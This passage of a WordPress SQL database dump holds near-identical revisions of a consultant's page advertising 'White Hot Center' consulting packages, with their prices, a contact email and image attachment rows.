and daring ideas to inspire your greater awareness to what opportunities matter the most to you. You’ll be asked lots of “what-if” questions in this rapid-fire, hour-long burn that will\r\nguide the trajectory of your big ideas. We record the call and send an audio file back to for your future reference. Learn more here.\r\n<strong> </strong>\r\n\r\n<strong>How to start</strong>\r\nSend a query email directly to me: thomson@whitehotcenter.com\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a fit. My purpose is to inspire and provide real value to help you move forward toward your vision for a bigger future.\r\n\r\n<strong>The only result I can promise from engaging in a White Hot Center Consulting Package is you will be inspired and challenged to take your next bigger step. Playing a bigger game requires a better player. My work is based on contributing my talent and expertise to the inner game that determines your outer results.  All I can do is be a catalyst for change, increase your awareness and unique capabilities, and inspire you to make courageous decisions about the strategic and creative aspects of growing your influence and contribution to the world through the venue of your business.</strong>\r\n\r\n<strong> </strong>', 'White Hot center Consulting Packages', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2009-06-30 10:50:29', '2009-06-30 17:50:29', '', 138, 'http://www.whitehotcenter.com/138-revision-15/', 0, 'revision', '', 0),
(317, 2, '2009-06-30 10:54:57', '2009-06-30 17:54:57', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/windseeds.gif"><img class="alignnone size-full wp-image-314" title="windseeds" src="http://whc.fbdev.org/wp-content/uploads/2009/04/windseeds.gif" alt="windseeds" width="450" height="270" /></a></h2>\r\n<h2><span style="color: #ff6600;">There are two simple operating principles behind every remarkable success in business and in life:</span></h2>\r\n<h2><span style="color: #ff6600;">1)    what you do must matter to you</span></h2>\r\n<h2><span style="color: #ff6600;">2)    what you do must matter to others</span></h2>\r\n<h2><span style="color: #ff6600;">In twenty-five years of consulting with marketing executives, managers, creative entrepreneurs and professionals from diverse industry categories, this is the white hot center of competitive advantage for individuals and organizations alike.  Success, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is.</span><strong><span style="color: #ff6600;"> </span></strong></h2>\r\nThinking is the seed of innovation, growth and expansion– and conversely, lack, limitation and powerlessness. Every great thing that ever was, is now, or ever will be is, at first, a formless thought seed in the creative mind.\r\n\r\nAs the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"><strong>\r\n</strong></span>\r\n<h2><span style="color: #ff6600;">“If you think you can or can’t– you’re right”.</span></h2>\r\nDespite our world of exponential change and transformation, these two guiding principles stand evergreen, and form the bedrock of your value proposition to the world. This is the white hot center of your competitive advantage. The holy of holies of who you are and the legacy of your contribution to the world. What really matters to you is sacred, and more so when it serves the good of others. This is where meaning and contribution intersect to form an experience of joy, ease, freedom and creativity within the venue of your business and in your whole life– with the result being more financial abundance to invest in ever greater levels of growth and expansion.\r\n<h2><span style="color: #ff6600;">I inspire with corporate executives, managers, creative entrepreneurs, and professionals to help them discover and define the white hot center of their competitive advantage, and then guide them in bringing to form the expression of that advantage at every client, customer, and personal encounter. I offer three levels of consulting engagements:</span></h2>\r\n<h2><span style="color: #ff6600;"> </span>Enterprise Level Consulting Package</h2>\r\nThis engagement is for mid to larger-scale enterprises with revenue of $100 million +. Typically this package involves guidance and ideas with business leaders on strategic issues of positioning the enterprise, brand strategy, differentiation, naming, corporate and brand identity, and creative direction on the verbal and visual messaging of brand or corporate communications to internal and external groups. The business imperatives that drive these engagements typically involve growth challenges, mergers, inventing new companies, products or services, competitive threats to core markets or expansion into new markets.\r\n<span style="color: #ff6600;">$50K+ USD This package is a 3-4 month engagement.  Learn more here</span>.\r\n<h2>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed to provide small business owners, creative entrepreneurs and professionals with strategic and creative guidance to help them focus on discovering within themselves the creative and innovative power of their own white hot center–what matters most to them and how that will serve others. From that increased awareness, there is notably more clarity and conviction around maintaining the discipline necessary to create the success we desire. The outcome here is to gain deeper insight and clarity around the strategic issues facing your business and personal growth, develop a differentiated positioning that matters to your customers and elevates their perception your brand and your business, and to help you express your unique advantage in ways that influence greater results toward your bigger future.\r\n<span style="color: #ff6600;">$7500-15,000 USD This package is individually tailored and scaled to your particular needs, and is typically 6-8 weeks in duration. Learn more here.</span>\r\n<h2>White Hot Power Session™ Package</h2>\r\nThis is a powerful, game-changing, brain-storm session designed to ignite individuals, solo entrepreneurs, professionals and artists to gain more clarity and conviction to discover what matters most to them and develop the discipline to pursue their vision of a bigger better future. Working within a structure, we jam on your best thinking, and develop a plan to move it into the physical form you desire. You can jam at two levels:\r\n\r\n<span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span>\r\nIncludes (5) 1-hour Power Session Jams, or a full day off-site Immersion Jam to help you discover and define your unique white hot center of competitive advantage then apply that awareness to more new business development and personal effectiveness tactics that will insure the result of your bigger future. Learn more here (pdf download)\r\n\r\n<span style="color: #ff6600;">Level B Individual Power Jam $600 USD</span>\r\nThe individual Power Session is designed to spark your imagination, ignite wild and daring ideas to inspire your greater awareness to what opportunities matter the most to you. You’ll be asked lots of “what-if” questions in this rapid-fire, hour-long burn that will\r\nguide the trajectory of your big ideas. We record the call and send an audio file back to for your future reference. Learn more here.\r\n<strong> </strong>\r\n\r\n<strong>How to start</strong>\r\nSend a query email directly to me: thomson@whitehotcenter.com\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a fit. My purpose is to inspire and provide real value to help you move forward toward your vision for a bigger future.\r\n\r\n<strong>The only result I can promise from engaging in a White Hot Center Consulting Package is you will be inspired and challenged to take your next bigger step. Playing a bigger game requires a better player. My work is based on contributing my talent and expertise to the inner game that determines your outer results.  All I can do is be a catalyst for change, increase your awareness and unique capabilities, and inspire you to make courageous decisions about the strategic and creative aspects of growing your influence and contribution to the world through the venue of your business.</strong>\r\n\r\n<strong> </strong>', 'White Hot center Consulting Packages', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2009-06-30 10:54:57', '2009-06-30 17:54:57', '', 138, 'http://www.whitehotcenter.com/138-revision-16/', 0, 'revision', '', 0),
(319, 2, '2009-06-30 11:08:06', '2009-06-30 18:08:06', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/windseeds.gif"><img class="alignnone size-full wp-image-314" title="windseeds" src="http://whc.fbdev.org/wp-content/uploads/2009/04/windseeds.gif" alt="windseeds" width="450" height="270" /></a><span style="color: #ff6600;">There are two simple operating principles behind every remarkable success in business and in life:</span></h2>\r\n<h2><span style="color: #ff6600;">1)    what you do must matter to you</span></h2>\r\n<h2><span style="color: #ff6600;">2)    what you do must matter to others</span></h2>\r\n<h2><span style="color: #ff6600;">In twenty-five years of consulting with marketing executives, managers, creative entrepreneurs and professionals from diverse industry categories, this is the white hot center of competitive advantage for individuals and organizations alike.  Success, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is.</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>\r\n\r\nThinking is the seed of innovation, growth and expansion– and conversely, lack, limitation and powerlessness. Every great thing that ever was, is now, or ever will be is, at first, a formless thought seed in the creative mind.\r\n\r\nAs the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"><strong>\r\n</strong></span>\r\n<h2><span style="color: #ff6600;">“If you think you can or can’t– you’re right”.</span></h2>\r\nDespite our world of exponential change and transformation, these two guiding principles stand evergreen, and form the bedrock of your value proposition to the world. This is the white hot center of your competitive advantage. The holy of holies of who you are and the legacy of your contribution to the world. What really matters to you is sacred, and more so when it serves the good of others. This is where meaning and contribution intersect to form an experience of joy, ease, freedom and creativity within the venue of your business and in your whole life– with the result being more financial abundance to invest in ever greater levels of growth and expansion.\r\n<h2><span style="color: #ff6600;">I inspire with corporate executives, managers, creative entrepreneurs, and professionals to help them discover and define the white hot center of their competitive advantage, and then guide them in bringing to form the expression of that advantage at every client, customer, and personal encounter. I offer three levels of consulting engagements:</span></h2>\r\n<h2><span style="color: #ff6600;"> </span>Enterprise Level Consulting Package</h2>\r\nThis engagement is for mid to larger-scale enterprises with revenue of $100 million +. Typically this package involves guidance and ideas with business leaders on strategic issues of positioning the enterprise, brand strategy, differentiation, naming, corporate and brand identity, and creative direction on the verbal and visual messaging of brand or corporate communications to internal and external groups. The business imperatives that drive these engagements typically involve growth challenges, mergers, inventing new companies, products or services, competitive threats to core markets or expansion into new markets.\r\n<strong><span style="color: #ff6600;">$50K+ USD This package is a 3-4 month engagement.  Learn more here</span>.</strong>\r\n<h2>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed to provide small business owners, creative entrepreneurs and professionals with strategic and creative guidance to help them focus on discovering within themselves the creative and innovative power of their own white hot center–what matters most to them and how that will serve others. From that increased awareness, there is notably more clarity and conviction around maintaining the discipline necessary to create the success we desire. The outcome here is to gain deeper insight and clarity around the strategic issues facing your business and personal growth, develop a differentiated positioning that matters to your customers and elevates their perception your brand and your business, and to help you express your unique advantage in ways that influence greater results toward your bigger future.\r\n<strong><span style="color: #ff6600;">$7500-15,000 USD This package is individually tailored and scaled to your particular needs, and is typically 6-8 weeks in duration. Learn more here.</span></strong>\r\n<h2>White Hot Power Session™ Package</h2>\r\nThis is a powerful, game-changing, brain-storm session designed to ignite individuals, solo entrepreneurs, professionals and artists to gain more clarity and conviction to discover what matters most to them and develop the discipline to pursue their vision of a bigger better future. Working within a structure, we jam on your best thinking, and develop a plan to move it into the physical form you desire. You can jam at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span></strong>\r\nIncludes (5) 1-hour Power Session Jams, or a full day off-site Immersion Jam to help you discover and define your unique white hot center of competitive advantage then apply that awareness to more new business development and personal effectiveness tactics that will insure the result of your bigger future. Learn more here (pdf download)\r\n\r\n<strong><span style="color: #ff6600;">Level B Individual Power Jam $600 USD</span></strong>\r\nThe individual Power Session is designed to spark your imagination, ignite wild and daring ideas to inspire your greater awareness to what opportunities matter the most to you. You’ll be asked lots of “what-if” questions in this rapid-fire, hour-long burn that will\r\nguide the trajectory of your big ideas. We record the call and send an audio file back to for your future reference. Learn more here.\r\n<strong> </strong>\r\n\r\n<strong>How to start</strong>\r\nSend a query email directly to me: thomson@whitehotcenter.com\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a fit. My purpose is to inspire and provide real value to help you move forward toward your vision for a bigger future.\r\n\r\n<strong>The only result I can promise from engaging in a White Hot Center Consulting Package is you will be inspired and challenged to take your next bigger step. Playing a bigger game requires a better player. My work is based on contributing my talent and expertise to the inner game that determines your outer results.  All I can do is be a catalyst for change, increase your awareness and unique capabilities, and inspire you to make courageous decisions about the strategic and creative aspects of growing your influence and contribution to the world through the venue of your business.</strong>\r\n\r\n<strong> </strong>', 'White Hot center Consulting Packages', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2009-06-30 11:08:06', '2009-06-30 18:08:06', '', 138, 'http://www.whitehotcenter.com/138-revision-18/', 0, 'revision', '', 0),
(320, 2, '2009-06-30 11:39:03', '2009-06-30 18:39:03', '', 'windseeds', 0, '', 'inherit', 'open', 'open', '', 'windseeds-2', '', '', '2009-06-30 11:39:03', '2009-06-30 18:39:03', '', 138, 'http://www.whitehotcenter.com/wp-content/uploads/2009/04/windseeds1.gif', 0, 'attachment', 'image/gif', 0),
(321, 2, '2009-06-30 11:17:12', '2009-06-30 18:17:12', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/windseeds.gif"><img class="alignnone size-full wp-image-314" title="windseeds" src="http://whc.fbdev.org/wp-content/uploads/2009/04/windseeds.gif" alt="windseeds" width="450" height="270" /></a><span style="color: #ff6600;">There are two simple operating principles behind every remarkable success in business and in life:</span></h2>\r\n<h2><span style="color: #ff6600;">1)    what you do must matter to you</span></h2>\r\n<h2><span style="color: #ff6600;">2)    what you do must matter to others</span></h2>\r\n<h2><span style="color: #ff6600;">In twenty-five years of consulting with marketing executives, managers, creative entrepreneurs and professionals from diverse industry categories, this is the white hot center of competitive advantage for individuals and organizations alike.  Success, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is.</span></h2>\r\n<span style="color: #ff6600;"></span>Thinking is the seed of innovation, growth and expansion– and conversely, lack, limitation and powerlessness. Every great thing that ever was, is now, or ever will be is, at first, a formless thought seed in the creative mind. As the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"><strong>\r\n</strong></span>\r\n<h2><span style="color: #ff6600;">“If you think you can or can’t– you’re right”.</span></h2>\r\nDespite our world of exponential change and transformation, these two guiding principles stand evergreen, and form the bedrock of your value proposition to the world. This is the white hot center of your competitive advantage. The holy of holies of who you are and the legacy of your contribution to the world. What really matters to you is sacred, and more so when it serves the good of others. This is where meaning and contribution intersect to form an experience of joy, ease, freedom and creativity within the venue of your business and in your whole life– with the result being more financial abundance to invest in ever greater levels of growth and expansion.\r\n<h2><span style="color: #ff6600;">I inspire with corporate executives, managers, creative entrepreneurs, and professionals to help them discover and define the white hot center of their competitive advantage, and then guide them in bringing to form the expression of that advantage at every client, customer, and personal encounter. I offer three levels of consulting engagements:</span></h2>\r\n<h2><span style="color: #ff6600;"> </span>Enterprise Level Consulting Package</h2>\r\nThis engagement is for mid to larger-scale enterprises with revenue of $100 million +. Typically this package involves guidance and ideas with business leaders on strategic issues of positioning the enterprise, brand strategy, differentiation, naming, corporate and brand identity, and creative direction on the verbal and visual messaging of brand or corporate communications to internal and external groups. The business imperatives that drive these engagements typically involve growth challenges, mergers, inventing new companies, products or services, competitive threats to core markets or expansion into new markets.\r\n<strong><span style="color: #ff6600;">$50K+ USD This package is a 3-4 month engagement.\r\n<span style="color: #ff6600;">Learn more here</span></span><span style="color: #ff6600;">.</span></strong>\r\n<h2>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed to provide small business owners, creative entrepreneurs and professionals with strategic and creative guidance to help them focus on discovering within themselves the creative and innovative power of their own white hot center–what matters most to them and how that will serve others. From that increased awareness, there is notably more clarity and conviction around maintaining the discipline necessary to create the success we desire. The outcome here is to gain deeper insight and clarity around the strategic issues facing your business and personal growth, develop a differentiated positioning that matters to your customers and elevates their perception your brand and your business, and to help you express your unique advantage in ways that influence greater results toward your bigger future.\r\n<strong><span style="color: #ff6600;">$7500-15,000 USD This package is individually tailored and scaled to your particular needs, and is typically 6-8 weeks in duration.\r\nLearn more here.</span></strong>\r\n<h2>White Hot Power Session™ Package</h2>\r\nThis is a powerful, game-changing, brain-storm session designed to ignite individuals, solo entrepreneurs, professionals and artists to gain more clarity and conviction to discover what matters most to them and develop the discipline to pursue their vision of a bigger better future. Working within a structure, we jam on your best thinking, and develop a plan to move it into the physical form you desire. You can jam at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span></strong>\r\nIncludes (5) 1-hour Power Session Jams, or a full day off-site Immersion Jam to help you discover and define your unique white hot center of competitive advantage then apply that awareness to more new business development and personal effectiveness tactics that will insure the result of your bigger future. Learn more here.\r\n\r\n<strong><span style="color: #ff6600;">Level B Individual Power Jam $600 USD</span></strong>\r\nThe individual Power Session is designed to spark your imagination, ignite wild and daring ideas to inspire your greater awareness to what opportunities matter the most to you. You’ll be asked lots of “what-if” questions in this rapid-fire, hour-long burn that will\r\nguide the trajectory of your big ideas. We record the call and send an audio file back to for your future reference. Learn more here.\r\n<strong> </strong>\r\n\r\n<strong>How to start the burn</strong>\r\nSend a query email directly to me: thomson@whitehotcenter.com\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a fit. My purpose is to inspire and provide real value to help you move forward toward your vision for a bigger future.\r\n\r\n<strong>The only result I can promise you from engaging in a White Hot Center Consulting Package is you will be totally inspired and challenged to take your next bigger step. Playing a bigger game requires a better player. My work is based on contributing my talent and expertise to help you master the inner game that determines your outer results.  All I can do is be a catalyst for change, increase your awareness of your unique capabilities, and inspire you to make courageous decisions about the strategic and creative nature of growing your influence and contribution to the world through the venue of your business. I am looking forward to working with you!\r\n</strong>\r\n\r\n<strong> </strong>', 'White Hot center Consulting Packages', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2009-06-30 11:17:12', '2009-06-30 18:17:12', '', 138, 'http://www.whitehotcenter.com/138-revision-19/', 0, 'revision', '', 0),
(322, 2, '2009-06-30 11:39:18', '2009-06-30 18:39:18', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/windseeds1.gif"><img class="alignnone size-full wp-image-320" title="windseeds" src="http://whc.fbdev.org/wp-content/uploads/2009/04/windseeds1.gif" alt="windseeds" width="450" height="270" /></a><span style="color: #ff6600;">There are two simple operating principles behind every remarkable success in business and in life:</span></h2>\r\n<h2><span style="color: #ff6600;">1)    what you do must matter to you</span></h2>\r\n<h2><span style="color: #ff6600;">2)    what you do must matter to others</span></h2>\r\n<h2><span style="color: #ff6600;">In twenty-five years of consulting with marketing executives, managers, creative entrepreneurs and professionals from diverse industry categories, this is the white hot center of competitive advantage for individuals and organizations alike.  Success, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is.</span></h2>\r\n<span style="color: #ff6600;"> </span>Thinking is the seed of innovation, growth and expansion– and conversely, lack, limitation and powerlessness. Every great thing that ever was, is now, or ever will be is, at first, a formless thought seed in the creative mind. As the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"><strong>\r\n</strong></span>\r\n<h2><span style="color: #ff6600;">“If you think you can or can’t– you’re right”.</span></h2>\r\nDespite our world of exponential change and transformation, these two guiding principles stand evergreen, and form the bedrock of your value proposition to the world. This is the white hot center of your competitive advantage. The holy of holies of who you are and the legacy of your contribution to the world. What really matters to you is sacred, and more so when it serves the good of others. This is where meaning and contribution intersect to form an experience of joy, ease, freedom and creativity within the venue of your business and in your whole life– with the result being more financial abundance to invest in ever greater levels of growth and expansion.\r\n<h2><span style="color: #ff6600;">I inspire with corporate executives, managers, creative entrepreneurs, and professionals to help them discover and define the white hot center of their competitive advantage, and then guide them in bringing to physical form the expression of that advantage at every client, customer, and personal encounter. I offer three levels of consulting engagements:</span></h2>\r\n<h2><span style="color: #ff6600;"> </span>Enterprise Level Consulting Package</h2>\r\nThis engagement is for mid to larger-scale enterprises with revenue of $50 million +. Typically this package involves guidance and ideas with business leaders on the strategic issues of positioning, brand strategy, differentiation, naming, corporate and brand identity, and creative direction on the verbal and visual messaging of brand or corporate communications to internal and external groups. The business imperatives that drive this level of engagement typically involve growth challenges, mergers, inventing new companies, products or services, competitive threats to core markets or expansion into new markets.\r\n<strong><span style="color: #ff6600;">$50K+ USD This package is a 3-4 month engagement.\r\n<span style="color: #ff6600;">Learn more here</span></span><span style="color: #ff6600;">.</span></strong>\r\n<h2>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed to provide small business owners, creative entrepreneurs and professionals with strategic and creative guidance to help them focus on discovering within themselves the creative and innovative power of their own white hot center–what matters most to them and how that will serve others. From that increased awareness, there is notably more clarity and conviction to maintain the discipline necessary to create the success we desire. The outcome here is to gain deeper insight and clarity around the strategic issues facing your business and personal growth, develop a differentiated positioning that matters to your customers and elevates their perception of your brand and your business. Then we develop the tools to help you express your unique advantage in ways that influence greater business results and a bigger future.\r\n<strong><span style="color: #ff6600;">$7500-15,000 USD This package is individually tailored and scaled to your particular needs, and is typically 6-8 weeks in duration.\r\nLearn more here.</span></strong>\r\n<h2>White Hot Power Session™ Package</h2>\r\nThis is a powerful, game-changing, brain-storm session designed to ignite individuals, solo entrepreneurs, professionals and artists to gain more clarity and conviction to discover what matters most to them and develop the discipline to pursue their vision of a bigger better future. Working within a structure, we jam on your best thinking, and develop a plan to move it into the physical form you desire. You can jam at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span></strong>\r\nIncludes (5) 1-hour Power Session Jams, or a full day off-site Immersion Jam to help you discover and define your unique white hot center of competitive advantage then apply that awareness to more new business development and personal effectiveness tactics that will insure the result of your bigger future. Learn more here.\r\n\r\n<strong><span style="color: #ff6600;">Level B Individual Power Jam $600 USD</span></strong>\r\nThe individual Power Session is designed to spark your imagination, ignite wild and daring ideas to inspire your greater awareness to what opportunities matter the most to you. You’ll be asked lots of “what-if” questions in this rapid-fire, hour-long burn that will\r\nguide the trajectory of your big ideas. We record the call and send an audio file back to for your future reference. Learn more here.\r\n<strong> </strong>\r\n\r\n<strong>How to start the burn</strong>\r\nSend a query email directly to me: thomson@whitehotcenter.com\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a fit. My purpose is to inspire and provide real value to help you move forward toward your vision for a bigger future.\r\n\r\n<strong>The only result I can promise you from engaging in a White Hot Center Consulting Package is you will be totally inspired and challenged to take your next bigger step. Playing a bigger game requires a better player. My work is based on contributing my talent and expertise to help you master the inner game that determines your outer results.  All I can do is be a catalyst for change, increase your awareness of your unique capabilities, and inspire you to make courageous decisions about the strategic and creative nature of growing your influence and contribution to the world through the venue of your business. I am looking forward to working with you!\r\n</strong>\r\n\r\n<strong> </strong>', 'White Hot center Consulting Packages', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2009-06-30 11:39:18', '2009-06-30 18:39:18', '', 138, 'http://www.whitehotcenter.com/138-revision-20/', 0, 'revision', '', 0),
(323, 2, '2009-06-30 14:44:28', '2009-06-30 21:44:28', '', 'enterprise-2', 0, '', 'inherit', 'open', 'open', '', 'enterprise-2', '', '', '2009-06-30 14:44:28', '2009-06-30 21:44:28', '', 138, 'http://www.whitehotcenter.com/wp-content/uploads/2009/04/enterprise-2.gif', 0, 'attachment', 'image/gif', 0),
(324, 2, '2009-06-30 11:42:20', '2009-06-30 18:42:20', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/windseeds1.gif"><img class="alignnone size-full wp-image-320" title="windseeds" src="http://whc.fbdev.org/wp-content/uploads/2009/04/windseeds1.gif" alt="windseeds" width="450" height="270" /></a><span style="color: #ff6600;">There are two simple operating principles behind every remarkable success in business and in life:</span></h2>\r\n<h2><span style="color: #ff6600;">1)    what you do must matter to you</span></h2>\r\n<h2><span style="color: #ff6600;">2)    what you do must matter to others</span></h2>\r\n<h2><span style="color: #ff6600;">In twenty-five years of consulting with marketing executives, managers, creative entrepreneurs and professionals from diverse industry categories, this is the white hot center of competitive advantage for individuals and organizations alike.  Success, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is.</span></h2>\r\n<span style="color: #ff6600;"> </span>Thinking is the seed of innovation, growth and expansion– and conversely, lack, limitation and powerlessness. Every great thing that ever was, is now, or ever will be is, at first, a formless thought seed in the creative mind. As the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"><strong>\r\n</strong></span>\r\n<h2><span style="color: #ff6600;">“If you think you can or can’t– you’re right”.</span></h2>\r\nDespite our world of exponential change and transformation, these two guiding principles stand evergreen, and form the bedrock of your value proposition to the world. This is the white hot center of your competitive advantage. The holy of holies of who you are and the legacy of your contribution to the world. What really matters to you is sacred, and more so when it serves the good of others. This is where meaning and contribution intersect to form an experience of joy, ease, freedom and creativity within the venue of your business and in your whole life– with the result being more financial abundance to invest in ever greater levels of growth and expansion.\r\n<h2><span style="color: #ff6600;">I inspire with corporate executives, managers, creative entrepreneurs, and professionals to help them discover and define the white hot center of their competitive advantage, and then guide them in bringing to physical form the expression of that advantage at every client, customer, and personal encounter. I offer three levels of consulting engagements:</span></h2>\r\n<h2><span style="color: #ff6600;"> </span>Enterprise Level Consulting Package</h2>\r\nThis engagement is for mid to larger-scale enterprises with revenue of\r\n$50 million +. Typically this package involves guidance and ideas with business leaders on the strategic issues of positioning, brand strategy, differentiation, naming, corporate and brand identity, and creative direction on the verbal and visual messaging of brand or corporate communications to internal and external groups. The business imperatives that drive this level of engagement typically involve growth challenges, mergers, inventing new companies, products or services, competitive threats to core markets or expansion into new markets.\r\n<strong><span style="color: #ff6600;">$50K+ USD This package is a 3-4 month engagement.\r\n<span style="color: #ff6600;">Learn more here</span></span><span style="color: #ff6600;">.</span></strong>\r\n<h2>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed to provide small business owners, creative entrepreneurs and professionals with strategic and creative guidance to help them focus on discovering within themselves the creative and innovative power of their own white hot center–what matters most to them and how that will serve others. From that increased awareness, there is notably more clarity and conviction to maintain the discipline necessary to create the success we desire. The outcome here is to gain deeper insight and clarity around the strategic issues facing your business and personal growth, develop a differentiated positioning that matters to your customers and elevates their perception of your brand and your business. Then we develop the tools to help you express your unique advantage in ways that influence greater business results and a bigger future.\r\n<strong><span style="color: #ff6600;">$7500-15,000 USD This package is individually tailored and scaled to your particular needs, and is typically 6-8 weeks in duration.\r\nLearn more here.</span></strong>\r\n<h2>White Hot Power Session™ Package</h2>\r\nThis is a powerful, game-changing, brain-storm session designed to ignite individuals, solo entrepreneurs, professionals and artists to gain more clarity and conviction to discover what matters most to them and develop the discipline to pursue their vision of a bigger better future. Working within a structure, we jam on your best thinking, and develop a plan to move it into the physical form you desire. You can jam at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span></strong>\r\nIncludes (5) 1-hour Power Session Jams, or a full day off-site Immersion Jam to help you discover and define your unique white hot center of competitive advantage then apply that awareness to more new business development and personal effectiveness tactics that will insure the result of your bigger future. Learn more here.\r\n\r\n<strong><span style="color: #ff6600;">Level B Individual Power Jam $600 USD</span></strong>\r\nThe individual Power Session is designed to spark your imagination, ignite wild and daring ideas to inspire your greater awareness to what opportunities matter the most to you. You’ll be asked lots of “what-if” questions in this rapid-fire, hour-long burn that will\r\nguide the trajectory of your big ideas. We record the call and send an audio file back to for your future reference. Learn more here.\r\n<strong> </strong>\r\n\r\n<strong>How to start the burn</strong>\r\nSend a query email directly to me: thomson@whitehotcenter.com\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a fit. My purpose is to inspire and provide real value to help you move forward toward your vision for a bigger future.\r\n\r\n<strong>The only result I can promise you from engaging in a White Hot Center Consulting Package is you will be totally inspired and challenged to take your next bigger step. Playing a bigger game requires a better player. My work is based on contributing my talent and expertise to help you master the inner game that determines your outer results.  All I can do is be a catalyst for change, increase your awareness of your unique capabilities, and inspire you to make courageous decisions about the strategic and creative nature of growing your influence and contribution to the world through the venue of your business. I am looking forward to working with you!\r\n</strong>\r\n\r\n<strong> </strong>', 'White Hot center Consulting Packages', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2009-06-30 11:42:20', '2009-06-30 18:42:20', '', 138, 'http://www.whitehotcenter.com/138-revision-21/', 0, 'revision', '', 0),
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INSERT INTO `wp_posts` (`ID`, `post_author`, `post_date`, `post_date_gmt`, `post_content`, `post_title`, `post_category`, `post_excerpt`, `post_status`, `comment_status`, `ping_status`, `post_password`, `post_name`, `to_ping`, `pinged`, `post_modified`, `post_modified_gmt`, `post_content_filtered`, `post_parent`, `guid`, `menu_order`, `post_type`, `post_mime_type`, `comment_count`) VALUES
(326, 2, '2009-06-30 14:44:44', '2009-06-30 21:44:44', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/windseeds1.gif"><img class="alignnone size-full wp-image-320" title="windseeds" src="http://whc.fbdev.org/wp-content/uploads/2009/04/windseeds1.gif" alt="windseeds" width="450" height="270" /></a><span style="color: #ff6600;">There are two simple operating principles behind every remarkable success in business and in life:</span></h2>\r\n<h2><span style="color: #ff6600;">1)    what you do must matter to you</span></h2>\r\n<h2><span style="color: #ff6600;">2)    what you do must matter to others</span></h2>\r\n<h2><span style="color: #ff6600;">In twenty-five years of consulting with marketing executives, managers, creative entrepreneurs and professionals from diverse industry categories, this is the white hot center of competitive advantage for individuals and organizations alike.  Success, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is.</span></h2>\r\n<span style="color: #ff6600;"> </span>Thinking is the seed of innovation, growth and expansion– and conversely, lack, limitation and powerlessness. Every great thing that ever was, is now, or ever will be is, at first, a formless thought seed in the creative mind. As the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"><strong>\r\n</strong></span>\r\n<h2><span style="color: #ff6600;">“If you think you can or can’t– you’re right”.</span></h2>\r\nDespite our world of exponential change and transformation, these two guiding principles stand evergreen, and form the bedrock of your value proposition to the world. This is the white hot center of your competitive advantage. The holy of holies of who you are and the legacy of your contribution to the world. What really matters to you is sacred, and more so when it serves the good of others. This is where meaning and contribution intersect to form an experience of joy, ease, freedom and creativity within the venue of your business and in your whole life– with the result being more financial abundance to invest in ever greater levels of growth and expansion.\r\n<h2><span style="color: #ff6600;">I inspire with corporate executives, managers, creative entrepreneurs, and professionals to help them discover and define the white hot center of their competitive advantage, and then guide them in bringing to physical form the expression of that advantage at every client, customer, and personal encounter. I offer three levels of consulting engagements:</span></h2>\r\n<h2><span style="color: #ff6600;"> </span><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif"><img class="alignnone size-full wp-image-323" title="enterprise-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif" alt="enterprise-2" width="225" height="222" /></a>Enterprise Level Consulting Package</h2>\r\nThis engagement is for mid to larger-scale enterprises with revenue of\r\n$50 million +. Typically this package involves guidance and ideas with business leaders on the strategic issues of positioning, brand strategy, differentiation, naming, corporate and brand identity, and creative direction on the 